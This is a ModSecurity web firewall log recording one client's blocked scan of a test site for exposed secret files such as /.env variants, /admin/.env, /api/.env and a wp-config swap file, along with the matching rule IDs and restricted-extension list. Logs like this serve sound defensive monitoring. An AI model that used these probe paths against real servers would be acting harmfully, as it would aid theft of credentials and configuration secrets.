[Fri Mar 13 10:38:53.995599 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abPbLfmn1dy9zAV7pLBYdwAAAAA"]
[Fri Mar 13 10:38:53.995774 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abPbLfmn1dy9zAV7pLBYdwAAAAA"]
[Fri Mar 13 10:38:53.995915 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abPbLfmn1dy9zAV7pLBYdwAAAAA"]
[Fri Mar 13 10:38:54.018131 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abPbLvmn1dy9zAV7pLBYeAAAAAA"]
[Fri Mar 13 10:38:54.018332 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abPbLvmn1dy9zAV7pLBYeAAAAAA"]
[Fri Mar 13 10:38:54.018510 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abPbLvmn1dy9zAV7pLBYeAAAAAA"]
[Fri Mar 13 10:38:54.041577 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abPbLvmn1dy9zAV7pLBYeQAAAAA"]
[Fri Mar 13 10:38:54.041754 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abPbLvmn1dy9zAV7pLBYeQAAAAA"]
[Fri Mar 13 10:38:54.041888 2026] [:error] [pid 2664143] [client 185.177.72.49:14612] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abPbLvmn1dy9zAV7pLBYeQAAAAA"]
[Fri Mar 13 10:38:54.112279 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abPbLjBg1q11AF-qXvZDlgAAAAQ"]
[Fri Mar 13 10:38:54.112485 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abPbLjBg1q11AF-qXvZDlgAAAAQ"]
[Fri Mar 13 10:38:54.112608 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abPbLjBg1q11AF-qXvZDlgAAAAQ"]
[Fri Mar 13 10:38:54.134700 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abPbLjBg1q11AF-qXvZDlwAAAAQ"]
[Fri Mar 13 10:38:54.134944 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abPbLjBg1q11AF-qXvZDlwAAAAQ"]
[Fri Mar 13 10:38:54.135140 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abPbLjBg1q11AF-qXvZDlwAAAAQ"]
[Fri Mar 13 10:38:54.135296 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abPbLjBg1q11AF-qXvZDlwAAAAQ"]
[Fri Mar 13 10:38:54.157684 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abPbLjBg1q11AF-qXvZDmAAAAAQ"]
[Fri Mar 13 10:38:54.157889 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abPbLjBg1q11AF-qXvZDmAAAAAQ"]
[Fri Mar 13 10:38:54.158070 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abPbLjBg1q11AF-qXvZDmAAAAAQ"]
[Fri Mar 13 10:38:54.180319 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abPbLjBg1q11AF-qXvZDmQAAAAQ"]
[Fri Mar 13 10:38:54.180724 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abPbLjBg1q11AF-qXvZDmQAAAAQ"]
[Fri Mar 13 10:38:54.180876 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abPbLjBg1q11AF-qXvZDmQAAAAQ"]
[Fri Mar 13 10:38:54.250424 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abPbLjBg1q11AF-qXvZDnAAAAAQ"]
[Fri Mar 13 10:38:54.250624 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abPbLjBg1q11AF-qXvZDnAAAAAQ"]
[Fri Mar 13 10:38:54.250764 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abPbLjBg1q11AF-qXvZDnAAAAAQ"]
[Fri Mar 13 10:38:54.296581 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abPbLjBg1q11AF-qXvZDngAAAAQ"]
[Fri Mar 13 10:38:54.296780 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abPbLjBg1q11AF-qXvZDngAAAAQ"]
[Fri Mar 13 10:38:54.296932 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abPbLjBg1q11AF-qXvZDngAAAAQ"]
[Fri Mar 13 10:38:54.459624 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpQAAAAQ"]
[Fri Mar 13 10:38:54.459825 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpQAAAAQ"]
[Fri Mar 13 10:38:54.459984 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpQAAAAQ"]
[Fri Mar 13 10:38:54.482782 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpgAAAAQ"]
[Fri Mar 13 10:38:54.483253 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpgAAAAQ"]
[Fri Mar 13 10:38:54.483396 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpgAAAAQ"]
[Fri Mar 13 10:38:54.506160 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpwAAAAQ"]
[Fri Mar 13 10:38:54.506448 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpwAAAAQ"]
[Fri Mar 13 10:38:54.506625 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abPbLjBg1q11AF-qXvZDpwAAAAQ"]
[Fri Mar 13 10:38:54.529006 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqAAAAAQ"]
[Fri Mar 13 10:38:54.529225 2026] [:error] [pid 2664147] [client 185.177.72.49:7580] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abPbLjBg1q11AF-qXvZDqAAAAAQ"]
